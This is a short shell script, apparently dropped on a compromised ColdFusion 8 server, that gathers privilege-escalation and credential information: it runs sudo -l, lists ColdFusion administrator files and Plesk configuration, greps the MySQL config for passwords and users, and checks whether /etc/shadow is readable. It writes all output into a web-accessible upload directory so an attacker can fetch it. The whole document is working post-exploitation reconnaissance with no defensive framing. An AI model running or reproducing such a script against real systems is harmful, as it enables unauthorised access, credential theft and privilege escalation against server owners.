#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/pw2_out.txt
echo "=== sudo -l (reads sudoers) ===" > $O
sudo -l > /opt/coldfusion8/wwwroot/userfiles/file/sudo_l.txt 2>&1
echo "rc=$?" >> $O
head -40 /opt/coldfusion8/wwwroot/userfiles/file/sudo_l.txt >> $O
echo "=== CF admin password files ===" >> $O
find /opt/coldfusion8/wwwroot/CFIDE/administrator -maxdepth 2 -type f 2>/dev/null | head -20 >> $O
echo "=== plesk config ===" >> $O
ls -la /etc/psa/ 2>/dev/null | head -20 >> $O
echo "=== my.cnf ===" >> $O
cat /etc/my.cnf 2>/dev/null | grep -iE 'pass|user' >> $O
echo "=== readable shadow? ===" >> $O
ls -la /etc/shadow 2>&1 >> $O
cat $O >> $O
